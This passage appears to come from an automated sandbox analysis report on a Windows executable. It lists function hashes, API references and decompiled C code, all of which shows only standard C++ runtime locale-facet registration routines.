Instruction Fuzzy Hash: 46010071D002168BCB05FBA5D8A5ABE7771AF80724F14480FE411AB382CF3C9E018B9C

Uniqueness

Uniqueness Score: -1.00%

Function 0048C4BC, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048C4C3
std::_Lockit::_Lockit.LIBCPMT ref: 0048C4CD

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

messages.LIBCPMT ref: 0048C507
std::_Facet_Register.LIBCPMT ref: 0048C51E
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C53E
Concurrency::cancel_current_task.LIBCPMT ref: 0048C54B

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermessages
String ID:
API String ID: 37379925-0
Opcode ID: d59de9419ad3b190d17df556c0da70892262e61fff844c3cd2203e01b7d089c9
Instruction ID: 4bbd490ad041bba1fb52bbd727a2092eb91c672df0caa7d0fd5ec78508527980
Opcode Fuzzy Hash: d59de9419ad3b190d17df556c0da70892262e61fff844c3cd2203e01b7d089c9
Instruction Fuzzy Hash: 94010471E001259BCF01FB65D8556BE77B1AF84314F54080FE411AB382CF7C9E018798

Uniqueness

Uniqueness Score: -1.00%

Function 0048C551, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048C558
std::_Lockit::_Lockit.LIBCPMT ref: 0048C562

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

messages.LIBCPMT ref: 0048C59C
std::_Facet_Register.LIBCPMT ref: 0048C5B3
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C5D3
Concurrency::cancel_current_task.LIBCPMT ref: 0048C5E0

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermessages
String ID:
API String ID: 37379925-0
Opcode ID: 4bc7748a17087faf90baa822c35de2aba4e76ee606fdce50e0855399620bb9bb
Instruction ID: 9d515936320b941d598714f015e3cc2c31834eb0b91ffd1c19c5b4e0f3fbe4cd
Opcode Fuzzy Hash: 4bc7748a17087faf90baa822c35de2aba4e76ee606fdce50e0855399620bb9bb
Instruction Fuzzy Hash: 6601AD35D002299BCB06FB65A855ABE7761AF84318F54085FE810AB382DF3CAE01C799

Uniqueness

Uniqueness Score: -1.00%

Function 00499534, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00499534(void* __edi, void* __esi, void* __eflags) {
				signed int _t107;
				void* _t189;
				signed int _t276;
				void* _t301;
				signed int _t304;
				signed int _t305;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				void* _t329;
				void* _t330;

				_t330 = __eflags;
				_push(8);
				E0049D90B(0x4d6966, __edi, __esi);
				E00488DEA(_t329 - 0x14, 0);
				_t312 =  *0x4ede50; // 0x0
				 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
				 *(_t329 - 0x10) = _t312;
				_t107 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede30, __edi, _t312, _t330));
				_t303 = _t107;
				if(_t107 != 0) {
					L5:
					E00488E42(_t329 - 0x14);
					return E0049D8D4(_t303);
				} else {
					if(_t312 == 0) {
						_push( *((intOrPtr*)(_t329 + 8)));
						_push(_t329 - 0x10);
						__eflags = E00499AE3(_t301, _t303, _t312, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t303, _t312);
							E00488DEA(_t329 - 0x14, 0);
							_t313 =  *0x4ede54; // 0x0
							 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
							 *(_t329 - 0x10) = _t313;
							_t304 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede34, _t303, _t313, __eflags));
							__eflags = _t304;
							if(_t304 != 0) {
								L12:
								E00488E42(_t329 - 0x14);
								return E0049D8D4(_t304);
							} else {
								__eflags = _t313;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t329 + 8)));
									_push(_t329 - 0x10);
									__eflags = E00499B85(_t304, _t313, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t304, _t313);
										E00488DEA(_t329 - 0x14, 0);
										_t314 =  *0x4ede58; // 0x0
										 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
										 *(_t329 - 0x10) = _t314;
										_t305 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede38, _t304, _t314, __eflags));
										__eflags = _t305;
										if(_t305 != 0) {
											L19:
											E00488E42(_t329 - 0x14);
											return E0049D8D4(_t305);
										} else {
											__eflags = _t314;
											if(__eflags == 0) {
												_push( *((intOrPtr*)(_t329 + 8)));
												_push(_t329 - 0x10);
												__eflags = E00499BED(_t305, _t314, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t305, _t314);
													E00488DEA(_t329 - 0x14, 0);
													_t315 =  *0x4ede5c; // 0x0
													 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
													 *(_t329 - 0x10) = _t315;
													_t306 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede3c, _t305, _t315, __eflags));
													__eflags = _t306;
													if(_t306 != 0) {
														L26:
														E00488E42(_t329 - 0x14);
														return E0049D8D4(_t306);
													} else {
														__eflags = _t315;
														if(__eflags == 0) {
															_push( *((intOrPtr*)(_t329 + 8)));
															_push(_t329 - 0x10);
															__eflags = E00499C55(_t306, _t315, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t306, _t315);
																E00488DEA(_t329 - 0x14, 0);
																_t316 =  *0x4ede64; // 0x0
																 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
																 *(_t329 - 0x10) = _t316;
																_t307 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede44, _t306, _t316, __eflags));
																__eflags = _t307;
																if(_t307 != 0) {
																	L33:
																	E00488E42(_t329 - 0x14);
																	return E0049D8D4(_t307);
																} else {
																	__eflags = _t316;
																	if(__eflags == 0) {
																		_push( *((intOrPtr*)(_t329 + 8)));
																		_push(_t329 - 0x10);
																		__eflags = E00499CBD(_t307, _t316, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t307, _t316);
																			E00488DEA(_t329 - 0x14, 0);
																			_t317 =  *0x4ede60; // 0x0
																			 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
																			 *(_t329 - 0x10) = _t317;
																			_t308 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede40, _t307, _t317, __eflags));
																			__eflags = _t308;
																			if(_t308 != 0) {
																				L40:
																				E00488E42(_t329 - 0x14);
																				return E0049D8D4(_t308);
																			} else {
																				__eflags = _t317;
																				if(__eflags == 0) {
																					_push( *((intOrPtr*)(_t329 + 8)));
																					_push(_t329 - 0x10);
																					__eflags = E00499D41(_t308, _t317, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t308, _t317);
																						E00488DEA(_t329 - 0x14, 0);
																						_t318 =  *0x4ede68; // 0x0
																						 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
																						 *(_t329 - 0x10) = _t318;
																						_t309 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede48, _t308, _t318, __eflags));
																						__eflags = _t309;
																						if(_t309 != 0) {
																							L47:
																							E00488E42(_t329 - 0x14);
																							return E0049D8D4(_t309);
																						} else {
																							__eflags = _t318;
																							if(__eflags == 0) {
																								_push( *((intOrPtr*)(_t329 + 8)));
																								_push(_t329 - 0x10);
																								__eflags = E00499DC6(_t309, _t318, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t309, _t318);
																									E00488DEA(_t329 - 0x14, 0);
																									_t319 =  *0x4ede6c; // 0x0
																									 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
																									 *(_t329 - 0x10) = _t319;
																									_t310 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede4c, _t309, _t319, __eflags));
																									__eflags = _t310;
																									if(_t310 != 0) {
																										L54:
																										E00488E42(_t329 - 0x14);
																										return E0049D8D4(_t310);
																									} else {
																										__eflags = _t319;
																										if(__eflags == 0) {
																											_push( *((intOrPtr*)(_t329 + 8)));
																											_push(_t329 - 0x10);
																											_t189 = E00499E32(_t310, _t319, __eflags);
																											_pop(_t276);
																											__eflags = _t189 - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(4);
																												E0049D90B(0x4d6989, _t310, _t319);
																												_t320 = _t276;
																												 *(_t329 - 0x10) = _t320;
																												 *((intOrPtr*)(_t320 + 4)) =  *((intOrPtr*)(_t329 + 0xc));
																												_push( *((intOrPtr*)(_t329 + 8)));
																												_t101 = _t329 - 4;
																												 *_t101 =  *(_t329 - 4) & 0x00000000;
																												__eflags =  *_t101;
																												 *_t320 = 0x402f68; // executed
																												E0049AC63(_t276, _t310, _t320,  *_t101); // executed
																												return E0049D8D4(_t320);
																											} else {
																												_t310 =  *(_t329 - 0x10);
																												 *(_t329 - 0x10) = _t310;
																												 *(_t329 - 4) = 1;
																												E0048919D(_t310);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t310 + 4))))();
																												 *0x4ede6c = _t310;
																												goto L54;
																											}
																										} else {
																											_t310 = _t319;
																											goto L54;
																										}
																									}
																								} else {
																									_t309 =  *(_t329 - 0x10);
																									 *(_t329 - 0x10) = _t309;
																									 *(_t329 - 4) = 1;
																									E0048919D(_t309);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t309 + 4))))();
																									 *0x4ede68 = _t309;
																									goto L47;
																								}
																							} else {
																								_t309 = _t318;
																								goto L47;
																							}
																						}
																					} else {
																						_t308 =  *(_t329 - 0x10);
																						 *(_t329 - 0x10) = _t308;
																						 *(_t329 - 4) = 1;
																						E0048919D(_t308);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t308 + 4))))();
																						 *0x4ede60 = _t308;
																						goto L40;
																					}
																				} else {
																					_t308 = _t317;
																					goto L40;
																				}
																			}
																		} else {
																			_t307 =  *(_t329 - 0x10);
																			 *(_t329 - 0x10) = _t307;
																			 *(_t329 - 4) = 1;
																			E0048919D(_t307);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t307 + 4))))();
																			 *0x4ede64 = _t307;
																			goto L33;
																		}
																	} else {
																		_t307 = _t316;
																		goto L33;
																	}
																}
															} else {
																_t306 =  *(_t329 - 0x10);
																 *(_t329 - 0x10) = _t306;
																 *(_t329 - 4) = 1;
																E0048919D(_t306);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t306 + 4))))();
																 *0x4ede5c = _t306;
																goto L26;
															}
														} else {
															_t306 = _t315;
															goto L26;
														}
													}
												} else {
													_t305 =  *(_t329 - 0x10);
													 *(_t329 - 0x10) = _t305;
													 *(_t329 - 4) = 1;
													E0048919D(_t305);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t305 + 4))))();
													 *0x4ede58 = _t305;
													goto L19;
												}
											} else {
												_t305 = _t314;
												goto L19;
											}
										}
									} else {
										_t304 =  *(_t329 - 0x10);
										 *(_t329 - 0x10) = _t304;
										 *(_t329 - 4) = 1;
										E0048919D(_t304);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t304 + 4))))();
										 *0x4ede54 = _t304;
										goto L12;
									}
								} else {
									_t304 = _t313;
									goto L12;
								}
							}
						} else {
							_t303 =  *(_t329 - 0x10);
							 *(_t329 - 0x10) = _t303;
							 *(_t329 - 4) = 1;
							E0048919D(_t303);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t303 + 4))))();
							 *0x4ede50 = _t303;
							goto L5;
						}
					} else {
						_t303 = _t312;
						goto L5;
					}
				}
			}

0x00499534
0x00499534
0x0049953b
0x00499545
0x0049954a
0x00499555
0x00499559
0x00499565
0x0049956a
0x0049956e
0x004995b3
0x004995b6
0x004995c2
0x00499570
0x00499572
0x00499578
0x0049957e
0x00499586
0x00499589
0x004995c3
0x004995c8
0x004995c9
0x004995d0
0x004995da
0x004995df
0x004995ea
0x004995ee
0x004995ff
0x00499601
0x00499603
0x00499648
0x0049964b
0x00499657
0x00499605
0x00499605
0x00499607
0x0049960d
0x00499613
0x0049961b
0x0049961e
0x00499658
0x0049965d
0x0049965e
0x00499665
0x0049966f
0x00499674
0x0049967f
0x00499683
0x00499694
0x00499696
0x00499698
0x004996dd
0x004996e0
0x004996ec
0x0049969a
0x0049969a
0x0049969c
0x004996a2
0x004996a8
0x004996b0
0x004996b3
0x004996ed
0x004996f2
0x004996f3
0x004996fa
0x00499704
0x00499709
0x00499714
0x00499718
0x00499729
0x0049972b
0x0049972d
0x00499772
0x00499775
0x00499781
0x0049972f
0x0049972f
0x00499731
0x00499737
0x0049973d
0x00499745
0x00499748
0x00499782
0x00499787
0x00499788
0x0049978f
0x00499799
0x0049979e
0x004997a9
0x004997ad
0x004997be
0x004997c0
0x004997c2
0x00499807
0x0049980a
0x00499816
0x004997c4
0x004997c4
0x004997c6
0x004997cc
0x004997d2
0x004997da
0x004997dd
0x00499817
0x0049981c
0x0049981d
0x00499824
0x0049982e
0x00499833
0x0049983e
0x00499842
0x00499853
0x00499855
0x00499857
0x0049989c
0x0049989f
0x004998ab
0x00499859
0x00499859
0x0049985b
0x00499861
0x00499867
0x0049986f
0x00499872
0x004998ac
0x004998b1
0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e8
0x004998ea
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0
0x00499874
0x00499874
0x00499877
0x0049987b
0x0049987f
0x0049988c
0x00499894
0x00499896
0x00000000
0x00499896
0x0049985d
0x0049985d
0x00000000
0x0049985d
0x0049985b
0x004997df
0x004997df
0x004997e2
0x004997e6
0x004997ea
0x004997f7
0x004997ff
0x00499801
0x00000000
0x00499801
0x004997c8
0x004997c8
0x00000000
0x004997c8
0x004997c6
0x0049974a
0x0049974a
0x0049974d
0x00499751
0x00499755
0x00499762
0x0049976a
0x0049976c
0x00000000
0x0049976c
0x00499733
0x00499733
0x00000000
0x00499733
0x00499731
0x004996b5
0x004996b5
0x004996b8
0x004996bc
0x004996c0
0x004996cd
0x004996d5
0x004996d7
0x00000000
0x004996d7
0x0049969e
0x0049969e
0x00000000
0x0049969e
0x0049969c
0x00499620
0x00499620
0x00499623
0x00499627
0x0049962b
0x00499638
0x00499640
0x00499642
0x00000000
0x00499642
0x00499609
0x00499609
0x00000000
0x00499609
0x00499607
0x0049958b
0x0049958b
0x0049958e
0x00499592
0x00499596
0x004995a3
0x004995ab
0x004995ad
0x00000000
0x004995ad
0x00499574
0x00499574
0x00000000
0x00499574
0x00499572

APIs

__EH_prolog3.LIBCMT ref: 0049953B
std::_Lockit::_Lockit.LIBCPMT ref: 00499545

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

collate.LIBCPMT ref: 0049957F
std::_Facet_Register.LIBCPMT ref: 00499596
std::_Lockit::~_Lockit.LIBCPMT ref: 004995B6
Concurrency::cancel_current_task.LIBCPMT ref: 004995C3

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercollate
String ID:
API String ID: 573010341-0
Opcode ID: f82b6f439aee6047e612ff253070418a7a38260c1059cc480e19e83f1f739492
Instruction ID: 8868ca4e9954f45b68f8ba55d50606d717014da002e3341c1927eaae5c20bcda
Opcode Fuzzy Hash: f82b6f439aee6047e612ff253070418a7a38260c1059cc480e19e83f1f739492
Instruction Fuzzy Hash: A201A132D005159BCF06EB69D8596BE7B61AF80724F55081FE4116B392CF789E01C799

Uniqueness

Uniqueness Score: -1.00%

Function 004995C9, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E004995C9() {
				signed int _t95;
				void* _t166;
				signed int _t243;
				void* _t265;
				signed int _t267;
				signed int _t268;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				void* _t273;
				signed int _t274;
				signed int _t275;
				signed int _t276;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				signed int _t280;
				signed int _t281;
				void* _t289;
				void* _t290;

				_push(8);
				E0049D90B(0x4d6966, _t265, _t273);
				E00488DEA(_t289 - 0x14, 0);
				_t274 =  *0x4ede54; // 0x0
				 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
				 *(_t289 - 0x10) = _t274;
				_t95 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede34, _t265, _t274, _t290));
				_t266 = _t95;
				if(_t95 != 0) {
					L5:
					E00488E42(_t289 - 0x14);
					return E0049D8D4(_t266);
				} else {
					if(_t274 == 0) {
						_push( *((intOrPtr*)(_t289 + 8)));
						_push(_t289 - 0x10);
						__eflags = E00499B85(_t266, _t274, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t266, _t274);
							E00488DEA(_t289 - 0x14, 0);
							_t275 =  *0x4ede58; // 0x0
							 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
							 *(_t289 - 0x10) = _t275;
							_t267 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede38, _t266, _t275, __eflags));
							__eflags = _t267;
							if(_t267 != 0) {
								L12:
								E00488E42(_t289 - 0x14);
								return E0049D8D4(_t267);
							} else {
								__eflags = _t275;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t289 + 8)));
									_push(_t289 - 0x10);
									__eflags = E00499BED(_t267, _t275, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t267, _t275);
										E00488DEA(_t289 - 0x14, 0);
										_t276 =  *0x4ede5c; // 0x0
										 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
										 *(_t289 - 0x10) = _t276;
										_t268 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede3c, _t267, _t276, __eflags));
										__eflags = _t268;
										if(_t268 != 0) {
											L19:
											E00488E42(_t289 - 0x14);
											return E0049D8D4(_t268);
										} else {
											__eflags = _t276;
											if(__eflags == 0) {
												_push( *((intOrPtr*)(_t289 + 8)));
												_push(_t289 - 0x10);
												__eflags = E00499C55(_t268, _t276, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t268, _t276);
													E00488DEA(_t289 - 0x14, 0);
													_t277 =  *0x4ede64; // 0x0
													 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
													 *(_t289 - 0x10) = _t277;
													_t269 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede44, _t268, _t277, __eflags));
													__eflags = _t269;
													if(_t269 != 0) {
														L26:
														E00488E42(_t289 - 0x14);
														return E0049D8D4(_t269);
													} else {
														__eflags = _t277;
														if(__eflags == 0) {
															_push( *((intOrPtr*)(_t289 + 8)));
															_push(_t289 - 0x10);
															__eflags = E00499CBD(_t269, _t277, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t269, _t277);
																E00488DEA(_t289 - 0x14, 0);
																_t278 =  *0x4ede60; // 0x0
																 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
																 *(_t289 - 0x10) = _t278;
																_t270 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede40, _t269, _t278, __eflags));
																__eflags = _t270;
																if(_t270 != 0) {
																	L33:
																	E00488E42(_t289 - 0x14);
																	return E0049D8D4(_t270);
																} else {
																	__eflags = _t278;
																	if(__eflags == 0) {
																		_push( *((intOrPtr*)(_t289 + 8)));
																		_push(_t289 - 0x10);
																		__eflags = E00499D41(_t270, _t278, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t270, _t278);
																			E00488DEA(_t289 - 0x14, 0);
																			_t279 =  *0x4ede68; // 0x0
																			 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
																			 *(_t289 - 0x10) = _t279;
																			_t271 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede48, _t270, _t279, __eflags));
																			__eflags = _t271;
																			if(_t271 != 0) {
																				L40:
																				E00488E42(_t289 - 0x14);
																				return E0049D8D4(_t271);
																			} else {
																				__eflags = _t279;
																				if(__eflags == 0) {
																					_push( *((intOrPtr*)(_t289 + 8)));
																					_push(_t289 - 0x10);
																					__eflags = E00499DC6(_t271, _t279, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t271, _t279);
																						E00488DEA(_t289 - 0x14, 0);
																						_t280 =  *0x4ede6c; // 0x0
																						 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
																						 *(_t289 - 0x10) = _t280;
																						_t272 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede4c, _t271, _t280, __eflags));
																						__eflags = _t272;
																						if(_t272 != 0) {
																							L47:
																							E00488E42(_t289 - 0x14);
																							return E0049D8D4(_t272);
																						} else {
																							__eflags = _t280;
																							if(__eflags == 0) {
																								_push( *((intOrPtr*)(_t289 + 8)));
																								_push(_t289 - 0x10);
																								_t166 = E00499E32(_t272, _t280, __eflags);
																								_pop(_t243);
																								__eflags = _t166 - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(4);
																									E0049D90B(0x4d6989, _t272, _t280);
																									_t281 = _t243;
																									 *(_t289 - 0x10) = _t281;
																									 *((intOrPtr*)(_t281 + 4)) =  *((intOrPtr*)(_t289 + 0xc));
																									_push( *((intOrPtr*)(_t289 + 8)));
																									_t89 = _t289 - 4;
																									 *_t89 =  *(_t289 - 4) & 0x00000000;
																									__eflags =  *_t89;
																									 *_t281 = 0x402f68; // executed
																									E0049AC63(_t243, _t272, _t281,  *_t89); // executed
																									return E0049D8D4(_t281);
																								} else {
																									_t272 =  *(_t289 - 0x10);
																									 *(_t289 - 0x10) = _t272;
																									 *(_t289 - 4) = 1;
																									E0048919D(_t272);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t272 + 4))))();
																									 *0x4ede6c = _t272;
																									goto L47;
																								}
																							} else {
																								_t272 = _t280;
																								goto L47;
																							}
																						}
																					} else {
																						_t271 =  *(_t289 - 0x10);
																						 *(_t289 - 0x10) = _t271;
																						 *(_t289 - 4) = 1;
																						E0048919D(_t271);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t271 + 4))))();
																						 *0x4ede68 = _t271;
																						goto L40;
																					}
																				} else {
																					_t271 = _t279;
																					goto L40;
																				}
																			}
																		} else {
																			_t270 =  *(_t289 - 0x10);
																			 *(_t289 - 0x10) = _t270;
																			 *(_t289 - 4) = 1;
																			E0048919D(_t270);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t270 + 4))))();
																			 *0x4ede60 = _t270;
																			goto L33;
																		}
																	} else {
																		_t270 = _t278;
																		goto L33;
																	}
																}
															} else {
																_t269 =  *(_t289 - 0x10);
																 *(_t289 - 0x10) = _t269;
																 *(_t289 - 4) = 1;
																E0048919D(_t269);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t269 + 4))))();
																 *0x4ede64 = _t269;
																goto L26;
															}
														} else {
															_t269 = _t277;
															goto L26;
														}
													}
												} else {
													_t268 =  *(_t289 - 0x10);
													 *(_t289 - 0x10) = _t268;
													 *(_t289 - 4) = 1;
													E0048919D(_t268);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t268 + 4))))();
													 *0x4ede5c = _t268;
													goto L19;
												}
											} else {
												_t268 = _t276;
												goto L19;
											}
										}
									} else {
										_t267 =  *(_t289 - 0x10);
										 *(_t289 - 0x10) = _t267;
										 *(_t289 - 4) = 1;
										E0048919D(_t267);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t267 + 4))))();
										 *0x4ede58 = _t267;
										goto L12;
									}
								} else {
									_t267 = _t275;
									goto L12;
								}
							}
						} else {
							_t266 =  *(_t289 - 0x10);
							 *(_t289 - 0x10) = _t266;
							 *(_t289 - 4) = 1;
							E0048919D(_t266);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t266 + 4))))();
							 *0x4ede54 = _t266;
							goto L5;
						}
					} else {
						_t266 = _t274;
						goto L5;
					}
				}
			}

0x004995c9
0x004995d0
0x004995da
0x004995df
0x004995ea
0x004995ee
0x004995fa
0x004995ff
0x00499603
0x00499648
0x0049964b
0x00499657
0x00499605
0x00499607
0x0049960d
0x00499613
0x0049961b
0x0049961e
0x00499658
0x0049965d
0x0049965e
0x00499665
0x0049966f
0x00499674
0x0049967f
0x00499683
0x00499694
0x00499696
0x00499698
0x004996dd
0x004996e0
0x004996ec
0x0049969a
0x0049969a
0x0049969c
0x004996a2
0x004996a8
0x004996b0
0x004996b3
0x004996ed
0x004996f2
0x004996f3
0x004996fa
0x00499704
0x00499709
0x00499714
0x00499718
0x00499729
0x0049972b
0x0049972d
0x00499772
0x00499775
0x00499781
0x0049972f
0x0049972f
0x00499731
0x00499737
0x0049973d
0x00499745
0x00499748
0x00499782
0x00499787
0x00499788
0x0049978f
0x00499799
0x0049979e
0x004997a9
0x004997ad
0x004997be
0x004997c0
0x004997c2
0x00499807
0x0049980a
0x00499816
0x004997c4
0x004997c4
0x004997c6
0x004997cc
0x004997d2
0x004997da
0x004997dd
0x00499817
0x0049981c
0x0049981d
0x00499824
0x0049982e
0x00499833
0x0049983e
0x00499842
0x00499853
0x00499855
0x00499857
0x0049989c
0x0049989f
0x004998ab
0x00499859
0x00499859
0x0049985b
0x00499861
0x00499867
0x0049986f
0x00499872
0x004998ac
0x004998b1
0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e8
0x004998ea
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
